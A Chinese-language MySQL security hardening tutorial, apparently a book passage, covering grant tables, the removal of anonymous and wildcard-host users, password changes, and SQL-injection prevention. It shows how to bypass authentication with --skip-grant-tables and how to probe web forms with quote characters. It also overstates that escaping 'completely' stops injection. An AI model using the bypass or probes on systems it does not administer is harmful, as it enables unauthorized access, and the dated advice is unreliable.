  mysql> select Host,User,Password,Select_priv,Grant_priv from user; 

  +———–+——+———-+————-+————+ 

  | Host | User | Password | Select_priv | Grant_priv | 

  +———–+——+———-+————-+————+ 

  | localhost | root | | Y | Y | 

  | % | root | | Y | Y | 

  | localhost | | | Y | Y | 

  | % | | | N | N | 

  +———–+——+———-+————-+————+ 

  4 rows in set (0.00 sec) 我们先来看Unix平台的user表。其中redhat只是我试验机的机器名,所以实际上Unix平台的MySQL默认只允许本机才能连接数据库。但是缺省root用户口令是空,所以当务之急是给root用户加上口令。给数据库用户加口令有三种方法: 1)在shell提示符下用mysqladmin命令来改root用户口令: 

  shell>mysqladmin -uroot password test 这样,MySQL数据库root用户的口令就被改成test了。(test只是举例,我们实际使用的口令一定不能使用这种易猜的弱口令) 

  2)用set password修改口令: 

  mysql> set password for root@localhost=password(‘test‘); 

  这时root用户的口令就被改成test了。 

  3)直接修改user表的root用户口令: 

  mysql> use mysql; 

  mysql> update user set password=password(‘test‘) where user=‘root‘;

  mysql> flush privileges; 

  这样,MySQL数据库root用户的口令也被改成test了。其中最后一句命令flush privileges的意思是强制刷新内存授权表,否则用的还是缓冲中的口令,这时非法用户还可以用root用户及空口令登陆,直到重启MySQL服务器。 

  我们还看到user为空的匿名用户,虽然它在Unix平台下没什么权限,但为了安全起见我们应该删除它: 

  mysql> delete from user where user=‘‘; 

  Windows版本MySQL的user表有很大不同,我们看到Host字段除了localhost还有是%。这里%的意思是允许任意的主机连接MySQL服务器,这是非常不安全的,给攻击者造成可乘之机,我们必须删除Host字段为%的记录: 

  mysql>delete from user where host=‘%‘; 

  默认root用户的空密码也是必须修改,三种修改方法和Unix平台一样。 

  我们注意到Host字段为localhost的匿名用户拥有所有的权限!就是说本地用户用空的用户名和空的口令登陆MySQL数据库服务器可以得到最高的权限!所以匿名用户必须删除! 

  mysql> delete from user where user=‘‘; 

  对user表操作以后不要忘了用flush privileges来强制刷新内存授权表,这样才能生效。 

  默认安装的Windows版MySQL存在的不安全因素太多,我们在安装后一定要进一步配置! 

  MySQL的5个授权表:user, db, host, tables_priv和columns_priv提供非常灵活的安全机制,从MySQL 3.22.11开始引入了两条语句GRANT和REVOKE来创建和删除用户权限,可以方便的限制哪个用户可以连接服务器,从哪里连接以及连接后可以做什么操作。作为MySQL管理员,我们必须了解授权表的意义以及如何用GRANT和REVOKE来创建用户、授权和撤权、删除用户。 在3.22.11版本以前的MySQL授权机制不完善,和新版本也有较大的不同,建议升级到最新版本的MySQL。(本书的操作例子是以MySQL 3.23.49为样本)我们先来了解授权表的结构。

  1)MySQL授权表的结构与内容: 

  mysql> desc user; 

  +—————–+—————–+——+—–+———+——-+ | Field | Type | Null | Key | Default | Extra | +—————–+—————–+——+—–+———+——-+ 

  | Host | char(60) binary | | PRI | | | 

  | User | char(16) binary | | PRI | | | 

  | Password | char(16) binary | | | | | 

  | Select_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Insert_priv | enum(‘N‘,‘Y‘) | | | N | |

  | Update_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Delete_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Create_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Drop_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Reload_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Shutdown_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Process_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | File_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Grant_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | References_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Index_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Alter_priv | enum(‘N‘,‘Y‘) | | | N | | 

  +—————–+—————–+——+—–+———+——-+ 

  17 rows in set (0.01 sec) 

  user表是5个授权表中最重要的一个,列出可以连接服务器的用户及其加密口令,并且它指定他们有哪种全局(超级用户)权限。在user表启用的任何权限均是全局权限,并适用于所有数据库。所以我们不能给任何用户访问mysql.user表的权限! 

  权限说明: 

  +———–+————-+———————————————————————–+ 

  | 权限指定符| 列名 |权限操作 | 

  +———–+————-+———————————————————————–+ 

  | Select | Select_priv | 允许对表的访问,不对数据表进行访问的select语句不受影响,比如select 1+1| +———–+————-+———————————————————————–+ 

  | Insert | Insert_priv | 允许对表用insert语句进行写入操作。 | +———–+————-+———————————————————————–+ 

  | Update | Update_priv | 允许用update语句修改表中现有记录。 | +———–+————-+———————————————————————–+ | Delete | Delete_priv | 允许用delete语句删除表中现有记录。 | +———–+————-+———————————————————————–+ | Create | Create_priv | 允许建立新的数据库和表。 | +———–+————-+———————————————————————–+

  | Drop | Drop_priv | 允许删除现有的数据库和表。 | 

  +———–+————-+———————————————————————–+ 

  | Index | Index_priv | 允许创建、修改或删除索引。 | 

  +———–+————-+———————————————————————–+ 

  | Alter | Alter_priv | 允许用alter语句修改表结构。 | 

  +———–+————-+———————————————————————–+ 

  | Grant | Grant_priv | 允许将自己拥有的权限授予其它用户,包括grant。 | 

  +———–+————-+———————————————————————–+ 

  | Reload | Reload | 允许重载授权表,刷新服务器等命令。 | 

  +———–+————-+———————————————————————–+ 

  | Shutdown | Shudown_priv| 允许用mysqladmin shutdown命令关闭MySQL服务器。该权限比较危险, | 

  | | | 不应该随便授予。 | 

  +———–+————-+———————————————————————–+ 

  | Process | Process_priv| 允许查看和终止MySQL服务器正在运行的线程(进程)以及正在执行的查询语句 | 

  | | | ,包括执行修改密码的查询语句。该权限比较危险,不应该随便授予。 | 

  +———–+————-+———————————————————————–+ | File | File_priv | 允许从服务器上读全局可读文件和写文件。该权限比较危险,不应该随便授予。| +———–+————-+———————————————————————–+ 

  mysql> desc db; 

  +—————–+—————–+——+—–+———+——-+ | Field | Type | Null | Key | Default | Extra | 

  +—————–+—————–+——+—–+———+——-+ | Host | char(60) binary | | PRI | | | | Db | char(64) binary | | PRI | | | 

  | User | char(16) binary | | PRI | | | 

  | Select_priv | enum(‘N‘,‘Y‘) | | | N | | | Insert_priv | enum(‘N‘,‘Y‘) | | | N | | | Update_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Delete_priv | enum(‘N‘,‘Y‘) | | | N | |

  | Create_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Drop_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Grant_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | References_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Index_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Alter_priv | enum(‘N‘,‘Y‘) | | | N | | 

  +—————–+—————–+——+—–+———+——-+ 

  13 rows in set (0.01 sec) 

  db表列出数据库,而用户有权限访问它们。在这里指定的权限适用于一个数据库中的所有表。 

  mysql> desc host; 

  +—————–+—————–+——+—–+———+——-+ 

  | Field | Type | Null | Key | Default | Extra | 

  +—————–+—————–+——+—–+———+——-+ 

  | Host | char(60) binary | | PRI | | | 

  | Db | char(64) binary | | PRI | | | 

  | Select_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Insert_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Update_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Delete_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Create_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Drop_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Grant_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | References_priv | enum(‘N‘,‘Y‘) | | | N | | | Index_priv | enum(‘N‘,‘Y‘) | | | N | | 

  | Alter_priv | enum(‘N‘,‘Y‘) | | | N | | 

  +—————–+—————–+——+—–+———+——-+ 

  12 rows in set (0.01 sec) 

  host表与db表结合使用在一个较好层次上控制特定主机对数据库的访问权限,这可能比单独使用db好些。这个表不受GRANT和REVOKE语句的影响 ,所以,你可能发觉你根本不是用它。 

  mysql> desc tables_priv; 

  +————-+—————————–+——+—–+———+——-+ | Field | Type | Null | Key | Default | Extra | 

  +————-+—————————–+——+—–+———+——-+ | Host | char(60) binary | | PRI | | | | Db | char(64) binary | | PRI | | | 

  | User | char(16) binary | | PRI | | | | Table_name | char(60) binary | | PRI | | | | Grantor | char(77) | | MUL | | | 

  | Timestamp | timestamp(14) | YES | | NULL | |

  | Table_priv | set(‘Select‘,‘Insert‘, | | | | | 

  | | ‘Update‘,‘Delete‘,‘Create‘, | | | | | 

  | | ‘Drop‘,‘Grant‘,‘References‘,| | | | | 

  | | ‘Index‘,‘Alter‘) | | | | | 

  | Column_priv | set(‘Select‘,‘Insert‘, | | | | | 

  | | ‘Update‘,‘References‘) | | | | | 

  +————-+—————————–+——+—–+———+——-+ 

  8 rows in set (0.01 sec) 

  tables_priv表指定表级权限。在这里指定的一个权限适用于一个表的所有列。 

  mysql> desc columns_priv; 

  +————-+————————+——+—–+———+—-+ 

  | Field | Type | Null | Key | Default | Extra | 

  +————-+————————+——+—–+———+—-+ 

  | Host | char(60) binary | | PRI | | | 

  | Db | char(64) binary | | PRI | | | 

  | User | char(16) binary | | PRI | | | 

  | Table_name | char(64) binary | | PRI | | | 

  | Column_name | char(64) binary | | PRI | | | 

  | Timestamp | timestamp(14) | YES | | NULL | | 

  | Column_priv | set(‘Select‘,‘Insert‘, | | | | | 

  | | ‘Update‘,‘References‘) | | | | | +————-+————————+——+—–+———+——-+ 

  7 rows in set (0.00 sec) 

  columns_priv表指定列级权限。在这里指定的权限适用于一个表的特定列。 

  2)MySQL授权表运行机制 

  MySQL的访问控制分两个步骤: 

  a)服务器检查是否允许该用户连接。 

  b)如果该用户有权连接,那么服务器还会检查它的每一个请求是否有足够的权限。比如:用户检索数据库中的一个表需要有这个数据库的select权限,用户删除数据库中的一个表需要有这个数据库的drop权限。 

  授权表的user, db, host表使用这两个步骤,tables_priv和columns_priv表只使用第二步(检查请求)。每个授权表包含决定一个权限何时运用的范围列和决定授予哪种权限的权限列。 范围列指定表中的权限何时运用。每个授权表条目包含User和Host列来指定权限何时运用于一个给定用户从给定主机的连接。其他表包含附加的范围列,如db表包含一个Db列指出权限运用于哪个数据库。类似地,tables_priv和columns_priv表包含范围字段,缩小范围到一个数据库中的特定表或一个表的特定列。 下面是user表的Host字段和User字段组合的一些例子: +—————————–+——–+————————————————+ | Host值 | User值 | 匹配的连接 | +—————————–+——–+———————————————–+

  | ‘x.y.z‘ | ‘test‘ | test用户只能从x.y.z连接数据库 | 

  +—————————–+——–+———————————————–+ 

  | ‘x.y.z‘ | ‘‘ | 任何用户可以从x.y.z连接数据库 | 

  +—————————–+——–+———————————————–+ 

  | ‘%‘ | ‘test‘ | test用户可以从任意主机连接数据库 | 

  +—————————–+——–+———————————————-+ 

  | ‘‘ | ‘‘ | 任何用户可以从任意主机连接数据库 | 

  +—————————–+——–+———————————————–+ 

  | ‘%.y.z‘ | ‘test‘ | test用户可以从y.z域的任意主机连接数据库 | 

  +—————————–+——–+———————————————-+ 

  | ‘x.y.% ‘ | ‘test‘ | test用户可以从x.y.net, x.y.com, x.y.edu等主机连接数据库| +—————————–+——–+———————————————-+ 

  | ‘192.168.1.1‘ | ‘test‘ | test用户可以从IP地址为192.168.1.1的主机连接数据库 | 

  +—————————–+——–+———————————————+ 

  | ‘192.168.1.% ‘ | ‘test‘ | test用户可以从C类子网192.168.1中的任意主机连接数据库 | 

  +—————————–+——–+———————————————+ | ‘192.168.1.0/255.255.255.0‘ | ‘test‘ | 同上 | 

  +—————————–+——–+——————————————–+ 

  SQL的字符串通配符%表示匹配任意字符,可以是0个字符,通配符_表示匹配一个字符。 

  权限列指出在范围列中指定的用户拥有何种权限。该表使用GRANT语句的权限名称。对于绝大多数在user、db和host表中的权限列的名称与GRANT语句中有明显的联系。如Select_priv对应于SELECT权限。 

  3)授权表使用举例 

  grant用于给增加用户和创建权限,revoke用于删除用户权限。 下面是一些用grant增加用户和创建权限的例子: 

  mysql> grant all privileges on *.* to test@localhost identified by ‘test‘ with grant option; 

  这句增加一个本地具有所有权限的test用户(超级用户),密码是test。ON子句中的*.*意味着"所有数据库、所有表"。with grant option表示它具有grant权限。

  mysql> grant select,insert,update,delete,create,drop privileges on test.* to test1@‘192.168.1.0/255.255.255.0‘ identified by ‘test‘; 

  这句是增加了一个test1用户,口令是test,但是它只能从C类子网192.168.1连接,对test库有select,insert,update,delete,create,drop操作权限。 

  用grant语句创建权限是不需要再手工刷新授权表的,因为它已经自动刷新了。 

  给用户创建权限还可以通过直接修改授权表: 

  mysql> insert into user values("localhost","test",password("test"),"Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"); 

  mysql> flush privileges; 

  这两句和上面第一句grant的效果是一样的,也是增加了一个本地的test超级用户。我们看到用grant方便多了,而且还不需flush privileges 。 

  mysql> insert into user (host,user,password) values("192.168.1.0/255.255.255.0","test1",PASSWORD("test")); 

  mysql> insert into db values("192.168.1.0/255.255.255.0","test","test1","Y","Y","Y","Y","Y","Y","N","N","N","N") 

  mysql> flush privileges; 

  这三句和上面第二句grant的效果也是一样的,也是增加了一个只能从C类子网192.168.1连接,对test库有select,insert,update,delete,create,drop操作权限的test1用户,口令是test。要取消一个用户的权限,使用revoke语句。revoke的语法非常类似于grant语句,除了to用from取代并且没有identified by和with grant option子句,下面是用revoke删除用户权限的例子: 

  mysql> revoke all on test.* from test1@‘192.168.1.0/255.255.255.0‘; 

  这句revoke就撤消了上面第二句grant创建的权限,但是test1用户并没有被删除,必须手工从user表删除: 

  mysql> delete from user where user=‘test1‘; mysql> flush privileges; 

  这样,test1用户就彻底删除了。 

  这些只是MySQL授权表的简单使用,更多详细的资料请见MySQL提供的手册。 

  3、编程需要注意的一些问题 

  不管是用哪种程序语言写连接MySQL数据库的程序,有一条准则是永远不要相信用户提交的数据! 

  对于数字字段,我们要使用查询语句:SELECT * FROM table WHERE ID=‘234‘,不要使用SELECT * FROM table WHERE ID=234这样的查询语句。MySQL会自动把字串转换为数字字符并且去除非数字字符。如果用户提交的数据经过了mysql_escape_string处理,这样我们就可以完全杜绝了sql inject攻击,关于sql inject攻击请参考下面链接的文章: http://www.spidynamics.com/papers/S…nWhitePaper.pdf

  http://www.ngssoftware.com/papers/a…l_injection.pdf 

  各种编程语言该注意的问题: 

  1)所有Web程序: 

  a)尝试在Web表单输入单引号和双引号来测试可能出现的错误,并找出原因所在。 

  b)修改URL参数带的%22 (‘"‘), %23 (‘#‘), 和 %27 (‘‘‘)。 

  c)对于数字字段的变量,我们的应用程序必须进行严格的检查,否则是非常危险的。 

  d)检查用户提交的数据是否超过字段的长度。 

  e)不要给自己程序连接数据库的用户过多的访问权限。 

  2)PHP: a)检查用户提交的数据在查询之前是否经过addslashes处理,在PHP 4.0.3以后提供了基于MySQL C API的函数mysql_escape_string()。 

  3)MySQL C API: 

  a)检查查询字串是否用了mysql_escape_string() API调用。 

  4)MySQL++: 

  a)检查查询字串是否用了escape和quote处理。 

  5)Perl DBI: 

  a)检查查询字串是否用了quote()方法。 

  6)Java JDBC: 

  a)检查查询字串是否用了PreparedStatement对象。 

  4、一些小窍门 

  1)如果不慎忘记了MySQL的root密码,我们可以在启动MySQL服务器时加上参数–skip-grant-tables来跳过授权表的验证 (./safe_mysqld –skip-grant-tables &),这样我们就可以直接登陆MySQL服务器,然后再修改root用户的口令,重启MySQL就可以用新口令登陆了。 

  2)启动MySQL服务器时加上–skip-show-database使一般数据库用户不能浏览其它数据库。 3)启动MySQL服务器时加上–chroot=path参数,让mysqld守护进程运行在chroot环境中。这样SQL语句LOAD DATA INFILE和SELECT … INTO OUTFILE就限定在chroot_path下读写文件了。这里有一点要注意,MySQL启动后会建立一个mysql.sock文件,默认是在/tmp目录下。使用了chroot后,MySQL会在chroot_path/tmp去建立mysql.sock文件,如果没有chroot_path/tmp目录或启动MySQL的用户没有这个目录写权限就不能建立mysql.sock文件,MySQL会启动失败。比如我们加了–chroot=/usr/local/mysql/启动参数,那么最好建立一个启动MySQL的用户能写的 

  /usr/local/mysql/tmp目录,当然我们也可以用–socket=path来指定mysql.sock文件的路径,但这个path一定要在chroot_path里面。 

  4)启动MySQL服务器时加上–log-slow-queries[=file]参数,这样mysqld会把SQL命令执行时间超过long_query_time的写入file文件。如果没有指定=file,mysqld默认会写到数据目录下的hostname-slow.log。如果只指定了filename,没有指定路径,那么mysqld也会把filename写到数据目录下。我们通过这个日志文件可以找出执行时间超长的查询语句,然后尽可能的优化它减轻MySQL服务器的负担。 

  5)如果我们只需本机使用MySQL服务,那么我们还可以加上–skip-networking启动参数使MySQL不监听任何TCP/IP连接,增加安全性。(非常推荐) 

  6)MySQL的更多mysqld启动选项请见MySQL手册4.16.4 mysqld Command-line Options